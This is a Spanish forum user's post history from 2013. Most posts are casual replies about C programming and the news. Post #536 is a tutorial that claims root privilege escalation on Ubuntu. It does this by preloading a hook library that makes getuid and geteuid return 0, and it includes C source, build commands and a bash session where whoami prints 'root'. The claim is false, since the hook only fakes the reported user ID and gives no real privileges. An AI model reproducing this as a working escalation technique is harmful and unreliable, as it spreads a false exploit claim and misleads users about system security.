Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 0xDani

#531
Programación C/C++ / Re: Fracciones en C [Ayuda]
18 Febrero 2013, 16:17 PM
@leosansan, te dejo un truco de preprocesador que he usado mas de una vez aqui para limpiar la pantalla:


#ifdef __unix__ /* Estamos en *nix */
#define clscr() system("clear");
#elif defined __WIN32 /* Estamos en windows */
#define clscr() system("cls");
#else
#warning Missing clear screen function
#endif

/* En el codigo puedes usar clscr() tranquilamente para limpiar la pantalla */

#532
Programación C/C++ / Re: Programa error
18 Febrero 2013, 16:03 PM
Y que error te da?
#533
@Xafi se agradece el esfuerzo, pero te podias haber explayado un poco mas y haber puesto mas ejemplos, sobre todo para los que empiezan.

Pero de buen rollo xD
#534
Cita de: Stakewinner00 en 17 Febrero 2013, 21:36 PM
Muy interesante, cuando este en linux lo pruebo.

Ya digo que en muchos sistemas puede no funcionar, de hecho en la man page del ld se indica que para binarios setuid la variable LD_PRELOAD es ignorada, pero el caso es que a mi me ha funcionado en Ubuntu 12.04, que es una distro bastante popular.

Y en cualquier caso por probar no pierdes nada xD
#535
Cita de: Xafi en 17 Febrero 2013, 15:00 PM
Hay que darle un aplauso por dar este gran paso a otra plataforma !

Si, genial que hayan dado el paso.
#536
Bien, pues estaba aburrido y me se me ocurrio que podia probar este viejo truco para ascender privilegios. Me funciono y he decidido hacer un pequeño tutorial como aporte.

Este metodo ha sido probado en un Ubuntu 12.04, y puede ser que en otros sistemas el linker no cargue las librerias de LD_PRELOAD primero si se usa con ejecutables setuid.

Materiales:

- Un compilador de C (se usara gcc)
- Una shell Unix (probado con bash)

1. LD_PRELOAD

LD_PRELOAD es una variable de entorno usada por el ld. ¿Como funciona? Pues si esta variable contiene la ruta de una libreria dinamica, el ld la cargara antes que las otras librerias requeridas por el programa, incluida la libc.

Esto hace que se puedan "sobreescribir" funciones, cambiando el comportamiento de algunos programas. Y esto es lo que vamos a hacer.

2. Accion

Lo que vamos a hacer es "sobreescribir" las funciones getuid y geteuid, para que retornen siempre 0 (indicando que somos root ;)).

Lo primero que tenemos que hacer es crear una libreria dinamica que sobreescriba estas funciones:


/* hook.c */

#include <sys/types.h>

uid_t getuid()
{
return 0;
}

uid_t geteuid()
{
return 0;
}


Compilamos:

$ gcc -c -fPIC hook.c -o libhook.o
$ gcc -shared -fPIC libhook.o -o libhook.so


Y ejecutamos el bash con LD_PRELOAD seteada:

$ LD_PRELOAD=ruta/a/libreria/libhook.so bash

Salida:

root@computer_name:~# whoami
root


Y voilà!

Bueno espero que les haya gustado, se esperan comentarios ;)

EDIT: Quiza pegue mas en Hacking Linux/Unix o en algun otro subforo, ponganlo donde quieran.
#537
Cita de: Binary_Death en 16 Febrero 2013, 23:10 PM
A mí lo que me hizo gracia fue lo de que puede ser perjudicial para "mujeres y niños".
Podrían poner "mujeres y perros" y se lucían aún más.

Y bueno, si los Islandeses lo permiten, ya les está bien. Al fin y al cabo un gobierno hace lo que quiere hasta que el pueblo se cansa. Con todas las pseudo-democracias y dictaduras ocurrió así. Y con la que vive ahora España también.
Las cosas mejorarán cuando la gente se canse de que le tomen el pelo. Mientras permanezca indiferente, todo seguirá igual.

+1. Genial tio, has escrito dos parrafos y estoy totalmente de acuerdo contigo.
#538
Y si le habian metido un troyano? Se j*de un año o dos con papeleo, solo por la IP.
#540
Noticias / Re: Un software que rastrea personas
11 Febrero 2013, 19:05 PM
Cita de: farresito2 en 11 Febrero 2013, 18:47 PM
Es la voluntad de uno el registrarse en una red social. El problema es cuando uno hace el esfuerzo de no registrarse o se registra pero intenta evitar subir fotos, y viene el tonto de tus amigos y empieza a subir una cantidad ingente de fotos y te etiqueta en cada una...

Pues si, suele pasar.